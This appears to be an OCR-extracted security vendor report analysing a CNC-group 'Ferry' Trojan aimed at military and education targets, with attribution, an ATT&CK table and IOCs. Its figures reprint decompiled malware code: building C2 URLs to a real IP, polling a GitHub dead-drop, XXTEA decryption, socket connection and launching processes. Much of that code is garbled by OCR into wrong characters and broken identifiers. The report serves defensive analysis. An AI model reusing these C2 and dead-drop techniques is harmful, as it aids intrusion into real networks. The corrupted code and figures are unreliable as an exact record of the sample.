for { i = -1i64; i > @xFFFFFFFF; v26[2] = 1 )

v26[1] = --v15;
i = 1;

vl? = v13 - vl4;
if ((wl7 == -1 )
vl8 = sub_13FC72680((__int64)v2E);
else
vl8 = sub 13FC72898(v26, v17 + 1, a3);
v28 = v18;
v2l = &off_ 13FFBALDS; // ABCDEFGHIJKLMNOPQRSTUMWXYZabcdefghijklmnopgrstuvwxyz@1234567394/
if ( (unsigned _ inte4)gword 13FFBALF@ >= @x18 )
v21l = (_ int64 *)off 13FF@AILDS;
v22 = *((_BYTE *)}v21 + v20 + v14);
v23 = v28.ml28i_i64[8];
if ( v28.m128i i64[@] >= vil )

sub_13FC71578(&27, w19, (_ int64)a3, v22);

}

else

{
+Hu28.m128i_i64[8];
v24 = Bv27;

if ( vil »>= éx18 )

v24 = ( ml28i *)v27.m128i i64[8];
v24->m1281 i8[v23] = v22;
v24->m128i_i8[v23 + 1¥~ ,f

OL8X

V1l = v28.m128i_u64[1];

al[1].m128i ie4[@] Bikd;
al[1].m128i i64[1] = @icd;
*al = v27;

al[l] = v28;

return alj;
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Jo = 4 * Analysis of "Ferry” Trojan of the CNC Organization Targeting the Military
Industry and Education Sector
Figure 2-29 Generates a 15-byte random string 2-29

If the RNGdTMP899 file does not exist in the current environment, create the RNGdTMP899 file.

w7 = sub_7FFG2A22EF34({&v12);

vd = Bigd;

OpenFlag = *( QWORD *)}v7;

if ( (unsigned _ intB)*(_DWORD *}(v7 + B) && !wsopen_s(&FileHandle, FileName, OpenFlag, a3, 384) )

++dword_7FF62A38FC48; ~
Inter‘lockedOr‘((«claflle signed _ int32 *)(a4 + 20), HIDWORD(OpenFlag)); :]” / n *

v3@ = FileHandle; ' ANTIY

Figure 2-30 Create RNGdTMP899 file 2-30

A random string is then written to the file.

1

v7 = v3 - Buffer;

if ( v7 88 v7 I- fwrite(Buffer, 1ui64, v7, *(FILE II}(@WSE*
return @;

Figure 2-31 Writes a random string 2-31

Identify that attribute of the RNGdTMP899 file, and if the file is not a hidden attribute, set it as a hidden attribute.

- .
FileAttributesl = GetFileAttributesW(v1a);
if ( (FileAttributesl & 2) == 8 )

w2l = a2;

if  *({(_QWORD *)az + 3) »= Buisd )

v21l = *({const WCHAR **)a2; , ——

SetFileAttributesk{v2l, FilefAttributesh | 2);// i%ﬁ ﬁ\%‘l;{g *

¥

Figure 2-32 Modifies the file attribute of RNGdTMP899 to hide 2-32

Obtain the random string in RNGdTMP899, the generated random string is RLCTEJdUbAJMIR, and

concatenate it into https [:] //45.86.162.114 / query = RLCTEJddUbAJMIJR /% 20% getting, forum.
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Antry ﬁ * Analysis of "Ferry” Trojan of the CNC Organization Targeting the Military
Industry and Education Sector

v75.m128i i64[@] += 18i64;
w53 = &u7d;
if ( v52.m128i i64[1] »>= @xlBuibd )
v53 = (__ml128i *)v74.m128i 154[6];
vs4 = ( ml281i *}((char *)v53 + v52.m128i_ie4[@]);
cu:lpj.r 13FABBEB@(vS4, (const _ ml281 *)"/%2efgetting,forum”, @x12uicd);
v54[1].m128i_ig[2] = @;
w55 = &v74;

1

w56 = *y55;

w57 = w55[1];

wS5[1].m128i i64[@] = @ie4;
w55[1].m128i_i64[1] = 15i64;

w55->m128i ig[@] = @;
if ( »= @x1euissd )

{

v58 = URL_changed;

if ( (unszgned _intE-‘i-)(_ + 1ligd4) »>= @xless )

if ( (unsigned _ int&4)URL_changed - *((_QWORD *)URL_changed - 1) - B8 > @x1F )
invalid_parameter_noinfo_noreturn();

vE8 = (void *)*((_QWORD *)URL_changed =L); % cmmey
) ; R LA E S
j_j_free(vs8); oy

1
*(__ml28i *)}BURL_changed = vwSE;

Figure 2-33 URL splicing 2-33
According to the network behavior observation, the sample will first request the spliced https [ //45.86.162.114

/ query = RLCTEJddUbAJMIR /% 20% getting, forum, and then request https [:] / 45.86.162.114 / images-css /

RLCTEJdUbAJMIR / imagelogo.css to obtain data.

copy _13FAODESR( s (cor ) /imagelogo.cas”, GxRuita);// https://65 10,362, 1147 inepes-csa/ 1OV e ECaNr TUOe imnpe logo . Cs
“Sa1285_£8[18] = 03
-i :

- 128)°vEay

a {__dat128)vss(1];

1. w1281 _is4[@] « oiss;
{1),m128i xu[l » 15i64;
-wi28i_i0[e] =

if (¢ *(( ' ;lxm—d_,‘:‘eﬂ)ne-\:m 3 1) 3= Bxiouiss )
{
= (vold ")URL changed;
if ( ¢ ' et 0 D ")hxseword TFFE2ASBAICE » 1) + 1164) = Bx1800 )
if ( (onsig th4){URL _changed - “( #D “)(URL changed - 3) - 8) » dhdr )
invalid_parssetes noinfo_noreturn();
- % YURL_changed - 8);
} — .
— ©L8X
J :__-
URL_changed = .3) ANTIY

Figure 2-34 Joining URL 2-34

Thereafter, every 1 minute, the loop requests https [:] / raw.githubusercontent.com / yuiopk1456 / beutifyapp /
main / LICENSE. Through the URL, we can see that the attacker may transmit the data through the github platform
after the specified IP fails, and guess that the transmitted data may be the IP or domain name specified by the attacker

after the encryption of XXTEA algorithm.
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Industry and Education Sector
while ( 1)
1
sub_13FF199F@(&ELTL);
if ( v67.m128i_i64[1] »= @x1@uiss )
1
vES = (vold *)Bufl.ml28i is4[e@];
if { (unsigned  inte4){ve7.ml28i is4[1] + 1) >= Bx1888 )
1
wBS = *(void **}(Bufl.ml28i_ie4[@] - 8);
if { (unsigned __ inte4)(Bufl.ml28i_is4[®] - (_QWORD)vES - B) » ©@x1F )
invalid_parameter_nocinfo_noreturn();

1
j_j_free(ves);
}

\\ ,/'
} et w ~f-" ANTIY Q *
Figure 2-35 executes this section of code in a loop with an interval of 1 minute 2-35

Find the tag location of the received data.

goto LABEL_28;

for ( i = w4; i->m128i_i8[@] != 98 || mememp(i, "background-color@”, @x1luig4); i = (_ m128i *)((char *)i - 1) )
1

if 1 == w4}

goto LABEL_23;

i
i (1==va)
{ r ok =4 4 P .-'-‘/fl—n

vB = sub_13FF1CD48((_ ml281i **)&v54, Bufl); l'Jﬂ'\} 7

v = sub_13FF19460(&v58, (__inte4)vE); &2/ Ny Q

Figure 2-36 looks for the location of the mark of the received data 2-36

There should be a decryption operation for the following data.

m s A T e T

vs7 = (const _ ml128i *)XXTEA(v52, (_ int64)v5S5, v56, v53);
do

+Hvld; -
while ( v57->m128i_i8[v14] ); ,’J»\J £ E *
sub_13FF1F238(al, v57, vld4); 2 aniiy

Figure 2-37 decrypts the acquired data 2-37

By searching for beutifyapp on github, the name of the creator of the suspected group's github repository is also
similar to yuiopk1456, the creator of the github repository in the attack. Only in November 2021 there was an

operation on that repository, and no other repositories were created after that.
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2021411 B
G &1/EEETART 4 NER
yuiopk456/beutifymyapp 4 /X832 _—
A SETEINE—FERE 1MB18
y Y v e
0 SUBOTEES 1 O gk

Figure 2-38 Similar repositories associated with a github 2-38

Suspicious string found in the associated similar repository, possibly an encrypted domain name or IP.

¥ main ~  beutifymyapp / LICENSE

W yuiopk456 Update LICENSE «

A 4 contributors i . Vb 0

1 lines (1 sloc) 46 Bytes
Yy 7 e—
Ofeh=$
!") ANTIY Q

1 background-color=gELrkTLnc+1InEL2GIVVDOzN+xK8=

Figure 2-39 Suspicious String in github 2-39

Connect to the IP or domain name stored in the github repository.
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Industry and Education Sector

if ( WsAStartup(@x282u, &WSAData) )

return @xFFFFFFFFiG4;
pHints.ai_family = 2;
pHints.ai_socktype = 1;
pHints.ai_protocol = 6;
sub_13FF1413@((_ inte4)pServiceName, (_ inte4)Bunk_148191868, v1);
if ( getaddrinfo(plodeName, (PCSTR)pServiceName, &pHints, &ppResult) )// pServiceName @x3@ SsLix[l

WSACLeanup();
return @xFFFFFFFFiG4;

h
else
1
v4 = ppResult;
if ( ppResult )
1
do
1
v5s = socket(v4-»ai_family, v4-*ai socktype, v4-:ai_protocol);
vE = v5;
if ((wS == -1
break

¥
-

‘ 7 aniiy !;:!SE’EE

if ( lconnect(vs, v4-»ai_addr, v4->ai_addrlen) )
break;
closesocket(v7);

Figure 2-40 Socket connection 2-40

Due to invalid domain name, IP and github address, follow-up is not possible. Through static analysis of
samples, it is inferred that there may exist operations such as obtaining the specified directory file list and starting
the process after the communication between the attacker and the control end.

Gets a list of the specified directory files.
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wiE = al;
w7E = alj;
vd = @3

w72 = @3

setlocale(®, "en_US.UTF-8");
sub_13FF283Ce(lpFileName, a2, L"\\*"};
v5 = [const WCHAR *)}1lpFileName;
if { *({_OWORD *)&vEL + 1) »>= BuiB4 )
= lpFileName[@];
=i’5f'ile. = FindFirstFileW(v5, &FindFileData);
w77 = FirstFileW;
if ( FirstFileW == (HANDLE)-1iG4 )
i

al[1].ml28i_iG4[@]
al[1].ml28i_i64[1]
al->ml281i_igB[@] = @;

sub_13FF1F238(al, (const _ ml28i *)"no files", Buikd4);
if { *(({_OQWORD *)&vEL + 1) »>= Buib4 )

ei64d;
15i64;

vBE = (WCHAR *)1pFileName[8];
if { (unsigned  inte4)}({2ie4 * *{({ QWORD *)&vBl + 1) + 2) »>= ox10e8 )

vGEE = (WCHAR *)*((_QWORD *)1pFileName[@] - 1):
if { (unsigned __inte4)}({(char *)1pFileMame[®] - (char *)vEd - B) > @x1F )
invalid _parameter_ncinfo_nocreturn();

1
j_j_free(vsd);
1

return al;

}

glze

memset({v32, @, sizeof(vd2)});

do
{ ©L8X
if ( (FindFileData.dwFileAttributes & 8x18) == e AAHY
|| lstrcmpW{FindFileData.cFileName, L".") &% lstrcmpW{FindFileData.cFileMame, L"..™) )
1

Figure 2-41 Relevant operations for file search 2-41
Create a pipeline.

hWritePipe = al;

vh5 = a2;

v6l.m128i_i64[@] = @i64;

vEl.m1281i_i64[1] = 15i64;

vee.m128i_ig[e] =

sub_13FF1F23@(&vE0, {const  ml28i *)byte 140198E9E, @i64);
Pipefttributes.nLength = 24;
*(&Pipeattributes.bInheritHandle + 1) = 8;
Pipefsttributes.bInheritHandle = 1;
Pipefttributes.lpSecurityDescriptor = @ig4; -
if ( CreatePipe(&hReadPipe, &hWritePipe, &Pipe)&\.(t)mutaa*
P

Figure 2-42 Creating a pipeline 2-42

Start the process.
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if { CreateProcessA(vsl, ->ml28i_i8, ©i64, Bicd, 1, Bx5000060u, Bisd, Bisd, & &
1
do
1
= WaitForSingledbject( .hProcess, @x32u) == @;
= 8;
= 8;
if ( PeckNamedPipe( . Bi64, @, @is4, & , Bigd) )
while { 1 )
{
= H
if (! )
goto LABEL_59; Y
if ( > Bu270FF ) ANTIY Q
= Bx27@FF;
if ( IReadFile( , & , v34, & , eisd) || ! )

Figure 2-43 Startup process 2-43

Attribution analysis

1)

In that previous observation, it was found that some CNC organization personnel would integrate vcpkg

in the development environment, and this feature also exists in the sample found this time, and the path is

consistent with the path used in the past.

b I o I o T e o T Y o e Y o T I Y O e s e O Y e O I R

DO0serst user\\Desktopl\setupsh \ropkgt \packazest \openssl_x6d—windows—static
S UserstuserV\Desktopiisetupshivepkgt ipackazes openss]l_xfd—windows—staticfoerts

Silzer st inzer i Desktoph \zetupst \ropkst ipackagesh openss]l _wfd—windows—stati o/ cert. pem
SVUsershhuser\Desktophisetupst iropkst ipackazeshopenss]l_xfd—windows—statichi\libYhengines—1_1
Svhuserstimseriidesktopiisetupshivepkgtibuildtreesthopenss1 ixfd—windows—statiereliizsliipacket_local b
SO zer st uzer Vi Downloads vropk g \buildtreest ouwr] i zr o) da0230 493 70280319101 .
SOUsershhuser Vi Downloads' repkgh buildtrees' our 1 sy o\ da0230 493 71280319101,
Silzer st inser Vi Downl oadsh vropk g A bui ldtreest your] Y sr ot da02 30493 T-H2E051 9101
DO ser st user Vi Downl oadst vropk g \buildtreesh \ouwr]l i sr o)) da0230 493 7-B28031 9101 .
S Uzerstuser Vi Downloads  repkgh b buildtreesh hour 1Y Y sr etV da0230 483 7-bES03 19101
SO zer st uzer Vi Downloads vropk g \buildtreest ouwr] i zr o) da0230 493 70280319101 .
SOUsershhuserV\Downloads' repkgh ibuildtrees' ourlt sy oi \ da02304937-0250319101.
Silzer st inser Vi Downl oadsh vropk g A bui ldtreest your] Y sr ot da02 30493 T-H2E051 9101
DO ser st user Vi Downl oadst vropk g \buildtreesh \ouwr]l i sr o)) da0230 493 7-B28031 9101 .
SOUsershhuser Vi Downloads' repkgh buildtrees' our 1 sy o\ da0230 493 71280319101,
Szer st uzer Vi Downloads vropk g \buildtreest o] Vi mr o ) da02 30493 70230319101 .
SOUsershhuserV\Downloads' repkgh ibuildtrees' ourlt sy oi \ da02304937-0250319101.
S Uzerstuser Vi Downloads  repkgh b buildtreesh hour 1Y Y sr etV da0230 483 7-bES03 19101
DO ser st user Vi Downloadst vropk g \buildtreest \ouwr] i sr o) daD230 493 70280319101 .
SOUsershhuser Vi Downloads' repkgh buildtrees' our 1 sy o\ da0230 493 71280319101,
Silzer st inser Vi Downl oadsh vropk g A bui ldtreest your] Y sr ot da02 30493 T-H2E051 9101
DO zer st user Vi Downloads vropk g \buildtreest ol zr o da0230 423 7-B28031 9101 .
S Uzerstuser Vi Downloads  repkgh b buildtreesh hour 1Y Y sr etV da0230 483 7-bES03 19101
SO zer st uzer Vi Downloads vropk g \buildtreest ouwr] i zr o) da0230 493 70280319101 .

S

SR T PUFREUUR T ¢ oeouin R PHRS  [CDUVIRS P I 1) TS [ (FUSU 1 Qe Thh o 2 I onme s I 7L a2 ad N

olean’ \1ib\Yeasy. @
clean’hlib%i=list. ¢
olean'ilibih=etopt. o
clean’\1ibVimulti. o
clean’ \libiheookie. o
olean’ \1ib\hasm—thread. o
clean’\ 4 1ib% dynbuf. ¢
olean’i1ibyimime. o
clean’\1ib\\cormeache. ¢
clean’ W LibYwtlstivtls. ¢
olean’\1ibYharl. o
clean’\\libYhzetinfo. ¢
cleant\ 1ibYhstrdup. o
clean’\1ib\zendf. o
clean’\\1ib%commect. ¢
clean\\1ibhvhttp_digest o

clean’\\Lib\ \awsten w1
clean\ W 1ibY Voontent, ¢
olean’\1ib\\http_proxy. o
R L R T

Figure 3-1 Path information existing in this attack activity 3-1
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5 - 00000047 € CA\Users\\aser\\Desktop)! g\ ges\\openssl_ x64-windows-static

1 ... 0000004D C C'\\Usevt\wse'\\Oesk!op\\se!m\\w\pacuges\\opemsl x54-windows-static/cens

[57 .. 00000050 € CAUsers\wsenDesktophisetupsi\vepkghipackagesi\opensst x64-windows-static/cert,pem

) . 00000057 C C'\\Usen\Wser\\DesktoM\sﬂm\\vcptg\\pxhges\\opemﬂ x64-windows -static\\lib\\engines-1_1

57 - 00000060 € ci\\wsers\\user\\desktop\\setups\\vepkg\\build I\ooid-windows-static-rel\\ssl\\pacicet_local.h
5] .. 00000058 € CaUsers\yusen\Downloads\wepkg\\bulld ...m!\\uc\\daozmn -b280319101 chean\lib\easy

(& .. c000005A € CavUsers\wser\Downloads\\wepkgi\bulldtreesticurisre\\dan230d937.b280319107 cleaniVlibi\shist.c

[5) . 0oco00SE € € \\Ums\mr\\omﬂm\\nplg\\w.ldnees\\mmuc\wmzmcm/ b280219101 cleant\lib\\setopt.c

3 . D00000SA C  C:\Users\yusedDownloadshy buildtrees\\curlisrc\\da0230d937-b2803 19101 clean\Vib\\multi.c

/57 . 000000SE C C\\Uws\\mev\\Domload;\\«pkn\\wlldum\\cm'\\s«\\dooz300937 -b280319101. dean\Vib\\cookse ¢
[31 .. 00000060 € CAVsers\wsen\Downloadsh\wepkg\bulldtrees\\cur\\sre\\da0230d937-b 280319101 clean\ib\\asyn thread.c
[5] . DOCOOOSE € CA\Users\yuser\\Downloadst\vepkg\buildtreesticur\\sre\\da0230a827-b 280315101 clean\ib\\dynbuf.c
(5] .. 0000005 € C:\\Users\yuseriDownloads\\vepkg)\\buildtrees\\cuel\\sre\\da0230d937-h 280219101 cheanVibl\mime.c

[3) .. DO0OOOSE € CaNUsersywser\Downloadsh\vepkg\bulldtrees\\curfisre\\dan230d937-b2803 19101 cean\lib\\conncache.c
(3 .. 0000005E € CAVUsers\wser\\Downloads\\wepkg\\bulldtrees\\curf\\sre\\dai230d937-b2503 19101 cleanhib\Wvti\vtls.c
[3] . 00000058 € CAUsars\yuser\\Downloadsiwepkg\\buildtreesiicurhisrc\\da0220d837-b 280219101 chean\ib\\uri.c

57 . D0000OSC € CoMUserstuser\Downloads\\vepka\\buildtrees\icur\sre\\da0230d937-b280319101 Vib\getinfo.c
[5] .. 0000005E €  CavUsers\wsenvDownloadstivepkgibulldtrees\\curlisrel\dan2304937- o&:\

5] - 0000005A C  CAUsers\wser\Downloads\\vepkgibulldtrees\curt\srei\daG230d937-b

5 . D00000SC € (:\\Users\\;uef\\Damtloads\\v:pkg'\\buildtreﬁ\\:wl\\ydwmﬂ bmllQ!mdean‘\\lib\\:mc!.c

® vepkg

Figure 3-2 shows path information existing in a conventional attack 3-2

Some of the code in the sample is very similar.

v3 = sub_14006A5C0(0i64, (const _ mizal ")"HTTP/1.1");
va = sub_14806ASCO(
(__intes)v3,
(const __mi28i *)"User-Agent: Mozilla/5.@ (Windows NT 10.8; WOWS4) AppleWebkKit/537.36 (KHTML, like Gecko) Chro"
"me/80.8.3987.132 Safari/537.36");

sub_14806CEBO((__int64)v2, @x2727, v4); // +788
v5 = (char *)&URL_changed; // https://¢ T 77 7 'query=ISIHBXMYdMTIaGV/X20%getting, forum
// hteps://: /images-css/HSEPWEMRVQFONIB/imagelogo.css

vi = BURL_changed;
if ( "((_QWORD *)8unk_1401BAI1CS + 1) >= Bx10ui64 )
v6 = (__int128 *)URL_ changed,

sub_14006CEBE((__int&d4)vz, @x2712, vE);
sub_14@@6CEBA((  intha)vZ, @x4E2B, sub_13FF17B30); /’f —
sub_14@06CEBO((_ intsd)v2, @x2711, 8va3); e n

sub_14006CEBB((_ int64)u2, 64, 0i64);
V7 = sub_148069E50(2);

Figure 3-3 Part of the code in this attack 3-3

I = sub_1403CALE@(0164, (const  mlZEi *)"WTTP/1.1%);
Ve = sub 1401CAREQ(
¢_intba)yl,
(const w1281 *Y"User-Agent: Mozilla/s.0 (Windows NT 10.0; WOWSE) ApplewebKit/537.36 (KHIML, like Gecko) Chro®
"ne/89.9.3987,132 Saferi/537.36");
sub_1401CCD0O((  lnteda)v2, 10023, va);
S o= (char *)Exmemord _14031A186;
o= Roaemword_14031A188;
if ¢ *(_ORD *)Sxmmword_14031A1C0 « 1) >= Ox10uisd )
vi o= (L Int1Z8 *)omeword_14831A180;
sub_1201CC000((  intod)v., 10002, ),
sub_1481CC000((__ intfa)y ., 20011, sub_146877828);

sub_14M1CC000((_ intta)vl, 10601, &91);
sub_1401CC000{( __Intta)ve, 64, Mb&}; m"'
/7 = sub_1401C9D070(2); 11 WS

i3 « _mm_load u128((cun nl281 “)&xmmword _1402F1£38);

Figure 3-4 Partial codes in the conventional attack activity 3-4

The encryption functions are roughly the same.
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4 = BYTE1(v39);
18[1] |= BYTE&(v38) | ((BYTES(vi8) | (vi2 << 8)) << 8);

BRI T A ) \ZNWYFRALT U |\ Sy Wi Ny wy,

125 = BYTES(v38) | ((BYTES(v38) | ((v24 | (BYTEL1(v38) << 8)) << 8)) << 8);

/26 = BYTE14(v38);
vis[2] |= v25;

18[3] |= BYTE22(vi8) | ((BYTE13(vi8) | ((v25 | (HIBYTE(vi8) << 8)) << 8)) << 8);

v28 = -1640531527 * (0x58 / (unsigned int)vd);
if ( (_DWORD)vES 1= 1 && v28 )
{

while ( (_DWORD)v29 );
"12 -= ((v27 4 v28) + (v12[v22] * VAS[v29 & 3])) * (((8 * v27) ~ (v12[v22] >> 5))
+ ((v27 >» 3) A (16 * v12[v22])));

Figure 3-5 Part of the code of the encryption function in the conventional attack activity 3-5

w24 = BYTE1B(v33);

key[1] |= BYTE4({v33) | ((BYTES(v3E) | (w23 << 8)) << 8);

w25 = BYTES(v33) | ((BYTE9{w32) | ({v24 | (BYTELLl({v3E) << 8)) << 8)) << 8);

w26 = BYTE14(v38);

key[2] |= v25;

key[3] |= BYTEL2(v38) | ((BYTEL3{v38) | ((v2& | (HIBYTE(v38) << 8)) << B)) << 8);
o= * =

T =2

sum = @x9E3779B9 * (88 / (unsigned int)wa);

if ( (_DWORD)wI != 1 &R sum )

do
1
LODWORD(v29) = w9 - 1;
w38 = {unsigned int)v22;
v3l = & z[v22];
do
{
--w31;
v23 = (unsigned int)(wv29 - 1);
vEZ = wig-- & 3;

v31[1] -= (({_y ™ sum) + {_z[v29] ™ key[v32])) ™ (((4 * _y) ™~ (_=z[w29] »» 5)) + ({ v »» 3} ~ (16 * _=z[wv29]))}};

v = vai[al;

while { (_DWORD)v29 };

*zoe= ((y ~osum) + (Lz[v22] ~ key[v2g & 3])) 4 (((2 % ) & (Lz[vaz] >> 5)) + ((Ly 2y ) " T el i) )5
=T C o
ANTIY

sum += Bx61CE3647;

while ( sum )3

29] * viB[v3z]}) * (((4 * v27) * (vi2[v29] >> 5))
+ ((vz7 > 3) ~ (16 * vi2[v29])));

OkA=% =

Figure 3-6 Part of the code of the encryption function in this attack 3-6

To sum up, the attack was initially attributed to the CNC organization.
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4 Threat Framework Mapping

This attack involves 15 technical points in 8 phases of ATT & CK framework, and the specific behaviors

are described in the following table:

ATT&CK phase

Execution

Execution

Persistence

Defensive
evasion

Defensive

evasion

Defensive
evasion

Findings

Findings

Findings
Lateral

movement.

Collection

Collection

Command and
control
Command and
control

Data seeps out

Table 4-1 Description of technical behaviors of recent CNC attacks -

Specific behavior Notes

Inducing the user to Privateimage .png. exe masquerades as a picture to induce user
execute execution
Utilization of planned The YodaoCloudMgr. exe path is loaded into the scheduled task
tasks / jobs for execution
Utilization of planned The YodaoCloudMgr. exe path is loaded into the scheduled task
tasks / jobs for execution
Confusion of documents . . .
) ) The process information returned is base64 encoded
or information
To obfuscate / decode L . .
The key string in the sample is decrypted by the symmetric
documents or . .
. . encryption algorithm XXTEA
information
Create hidden folders to gather information, and set hidden
properties for the RNGdTMP899 file
A file in the RECENT directory is found, and there may be an

Find files and directories . . .
operation that specifies a directory search

Concealment

Discovery of system . .
. : Discover a list of drives on your computer
information

System time discovery You can get the local time on the computer

Copy through Detects if there is a change in the disk list for copying to
removable media removable media
Automatically collect information such as process list, current

Automatic collection .
user name, local time, etc

Collect local system data Collect process list, user name, local time, and other information

The application layer L . L
. Communication using an application layer protocol
protocol is used

Encoded data The process information returned is base64 encoded

Self-exudi The collected process list information and the like are
elf-exudin
e automatically returned to the control end

The ATT&CK framework atlas of the behavior and technical points of the relevant attack activities organized

by CNC are shown in the following figure:
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Figure 4-1 Mapping chart of ATT&CK framework corresponding to CNC organizational attack activity 4-1

5 Summary

In recent years, the intention of APT organizations to isolate network attacks has become more and more obvious,
and the number of attack samples penetrating isolated networks has been increasing. The attacking organizations
represented by Darkhotel [1] and Young Elephant [2] [3] have developed their own relevant attacking weapons and
updated them continuously. The CNC organizational sample in this attack has also been upgraded compared to the
organization's previous samples, during the development phase, the same integration of the vepkg development
environment, and access to content from the github repository. In that horizontal move stage, the method of judging
whet a new storage device accesses is different from the method of judging the type of the access device by
GetDriveTypeA previously, The sample of this attack activity will copy the file to the newly accessed storage device
once the new storage device is found to access through the method of continuously acquiring the drive list, so as to

achieve the purpose of propagation in the isolated network.1213]

Appendix I: 10C

185.25.51.41
45.86.162.114
Da3d305d1b47c8934d5e1f3296a8efe0

C024eb3035dd010de98839a2eb90b46b
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Https: / / raw .githuusercontent.com / yuiopk1456 / beutifyapp / main / LICENSE

Https: / / raw.githuusercontent.com / gazelter231trivoikpo1 / questions / main / beautify.js

Appendix I1: Reference

[1]. Ramsay component analysis of Darkhotel tissue infiltration isolation network

Https: / / www.antiy.cn / research / notice & report / research  report / 20200522.html

[2]. Analysis of the "Young Elephants" Group's Attacks Against Defense Manufacturers in Pakistan

Https: / / www.antiy.cn / research / notice & report / research  report /20210222 .html

[3]. Analysis of Network Attacks of "Young Elephants" Organization in South Asia

Https: / / www.antiy.cn / research / notice & report / research  report/202111.html
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Appendix I1: About Antiy

Antiy is committed to enhancing the network security defense capabilities of its customers and effectively
responding to security threats. Through more than 20 years of independent research and development, Antiy has
developed technological leadership in areas such as threat detection engines, advanced threat countermeasures, and

large-scale threat automation analysis.

Antiy has developed IEP (Intelligent Endpoint Protection System) security product family for PC, server and
other system environments, as well as UWP (Unified Workload Protect) security products for cloud hosts, container
and other system environments, providing system security capabilities including endpoint antivirus, endpoint
protection (EPP), endpoint detection and response (EDR), and Cloud Workload Protection Platform (CWPP) , etc.
Antiy has established a closed-loop product system of threat countermeasures based on its threat intelligence and
threat detection capabilities, achieving perception, retardation, blocking and presentation of the advanced threats
through products such as the Persistent Threat Detection System (PTD), Persistent Threat Analysis System (PTA),
Attack Capture System (ACS), and TDS. For web and business security scenarios, Antiy has launched the PTF Next-
generation Web Application and API Protection System (WAAP) and SCS Code Security Detection System to help
customers shift their security capabilities to the left in the DevOps process. At the same time, it has developed four
major kinds of security service: network attack and defense logic deduction, in-depth threat hunting, security threat
inspection, and regular security operations. Through the Threat Confrontation Operation Platform (XDR), multiple
security products and services are integrated to effectively support the upgrade of comprehensive threat confrontation

capabilities.

Antiy provides comprehensive security solutions for clients with high security requirements, including network
and information authorities, military forces, ministries, confidential industries, and critical information infrastructure.
Antiy has participated in the security work of major national political and social events since 2005 and has won
honors such as the Outstanding Contribution Award and Advanced Security Group. Since 2015, Antiy's products and
services have provided security support for major spaceflight missions including manned spaceflight, lunar
exploration, and space station docking, as well as significant missions such as the maiden flight of large aircraft,
escort of main force ships, and Antarctic scientific research. We have received several thank-you letters from relevant

departments.

©Antiy All Rights Reserved. Reprint without loss is welcome 31



ﬁy*
Jor = 4 * Analysis of "Ferry” Trojan of the CNC Organization Targeting the Military
Industry and Education Sector

Antiy is a core enabler of the global fundamental security supply chain. Nearly a hundred of the world's leading
security and IT enterprises have chosen Antiy as their partner of detection capability. At present, Antiy's threat
detection engine provides security detection capabilities for over 1.3 million network devices and over 3 billion smart
terminal devices worldwide, which has become a "national-level" engine. As of now, Antiy has filed 1,877 patents in
the field of cybersecurity and obtained 936 patents. It has been awarded the title of National Intellectual Property

Advantage Enterprise and the 17th (2015) China Patent Excellence Award.

Antiy is an important enterprise node in China emergency response system and has provided early warning and
comprehensive emergency response in major security threats and virus outbreaks such as "Code Red", "Dvldr",
"Heartbleed", "Bash Shellcode" and "WannaCry". Antiy conducts continuous monitoring and in-depth analysis
against dozens of advanced cyberspce threat actors (APT groups) such as "Equation”, "White Elephant", "Lotus" and
"Greenspot" and their attack actions, assisting customers to form effective protection when the enemy situation is

accurately predicted.
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